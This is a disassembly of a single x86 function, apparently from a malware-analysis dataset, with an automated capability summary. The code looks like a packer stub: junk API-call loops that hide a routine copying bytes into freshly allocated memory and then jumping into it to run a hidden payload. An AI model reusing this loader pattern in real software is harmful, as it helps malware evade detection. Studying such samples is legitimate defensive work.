Function at 0x4018f4
Capabilities:
Get common file path
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10cc
call fcn.00411140
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x40192d
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32W]
cmp edi, 0x207142
jg 0x40193e
inc edi
cmp edi, 0x67d12
jl 0x401908
cmp dword [0x24945dc], 0x93
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
jne 0x4019fd
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
push esi
call edi
push esi
push esi
lea eax, [ebp - 0x10c8]
push eax
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringW]
push esi
push esi
call ebx
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_InsertMenuItemA]
push esi
lea eax, [ebp - 0x8c8]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
push esi
push esi
push esi
call edi
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
call fcn.004047aa
pop ecx
push esi
push esi
call fcn.004047d9
push esi
call fcn.00404793
add esp, 0xc
lea eax, [ebp - 0xc8]
push eax
call fcn.004025f9
lea ecx, [ebp - 0x68]
call fcn.00402695
lea eax, [ebp - 0x68]
push eax
mov dword [ebp - 0x68], vtable.std::ios_base.0
call fcn.004035f0
pop ecx
add dword [0x24945dc], 0x1134b
push dword [0x24945dc]
mov eax, dword [0x47ee34]
push esi
mov dword [0x2495418], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x2494068], eax
call fcn.0040187a
mov edi, 0x1692e
push esi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x401a2d
cmp dword [0x24945dc], esi
jbe 0x401aa2
mov eax, dword [0x2495418]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2494068]
mov byte [ecx + edi], al
cmp dword [0x24945dc], 0x490
jne 0x401a99
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push str.Mipoxa_dem_buguda
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc edi
cmp edi, dword [0x24945dc]
jb 0x401a42
xor edi, edi
mov eax, dword [0x24945dc]
add eax, edi
cmp eax, 0x8d
jne 0x401ae5
push esi
lea eax, [ebp - 0x8c8]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push str.janomibefojidarise
push str.modojoyimedowotepo
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x401aa4
call fcn.0040177b
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x401b13
mov dword [ebp - 4], esi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x2494068], eax
inc edi
cmp edi, 0x674bd
jl 0x401af5
push 0x7b
pop edi
cmp dword [0x24945dc], 0x86
jne 0x401b73
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
lea eax, [ebp - 0xcc8]
push eax
push str.nufepupalihewaxehazitiye
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push esi
lea eax, [ebp - 0x8c8]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x24945dc], 0xf
jne 0x401b87
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
dec edi
jne 0x401b1f
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2494068]
pop edi
pop esi
pop ebx
leave
ret